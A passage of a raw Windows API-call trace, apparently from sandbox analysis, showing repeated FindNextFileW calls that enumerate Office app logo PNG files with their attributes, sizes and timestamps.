lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS97A4~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MSE439~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x637, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MSE1AD~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x717, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS5BCF~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA854~1.PNG")) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSD622~1.PNG")) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MS6539~1.PNG")) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-100.png", cAlternateFileName="MSA9CC~1.PNG")) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-140.png", cAlternateFileName="MSD79A~1.PNG")) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-180.png", cAlternateFileName="MS99FA~1.PNG")) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-80.png", cAlternateFileName="MSC667~1.PNG")) returned 1 [0189.707] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-100.png", cAlternateFileName="ONAFA7~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-140.png", cAlternateFileName="ON5141~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-180.png", cAlternateFileName="ON04BC~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-80.png", cAlternateFileName="ONBA8A~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x896, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-100.png", cAlternateFileName="ON2104~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-140.png", cAlternateFileName="ONENOT~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-180.png", cAlternateFileName="ON8260~1.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-80.png", cAlternateFileName="ONENOT~4.PNG")) returned 1 [0189.708] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-100.png", cAlternateFileName="ONENOT~3.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-140.png", cAlternateFileName="ONENOT~2.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd46, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-180.png", cAlternateFileName="ON52BA~1.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-80.png", cAlternateFileName="ONF020~1.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-100.png", cAlternateFileName="ON193B~1.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-140.png", cAlternateFileName="ON585A~1.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-180.png", cAlternateFileName="ON9A29~1.PNG")) returned 1 [0189.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-80.png", cAlternateFileName="ON3426~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-100.png", cAlternateFileName="ON2492~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-140.png", cAlternateFileName="OND60E~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-180.png", cAlternateFileName="ON19DC~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-80.png", cAlternateFileName="ONB09A~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x782, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-100.png", cAlternateFileName="ON8AF0~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-140.png", cAlternateFileName="ON4822~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-180.png", cAlternateFileName="ON95B6~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-80.png", cAlternateFileName="ON8B9B~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-100.png", cAlternateFileName="OU5D17~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-140.png", cAlternateFileName="OUTLOO~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-180.png", cAlternateFileName="OU4261~1.PNG")) returned 1 [0189.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-80.png", cAlternateFileName="OUTLOO~4.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-100.png", cAlternateFileName="OUTLOO~3.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-140.png", cAlternateFileName="OUTLOO~2.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-180.png", cAlternateFileName="OUC015~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b250ebf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b250ebf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b250ebf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-80.png", cAlternateFileName="OU197C~1.PNG")) returned 1 [0189.711] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, 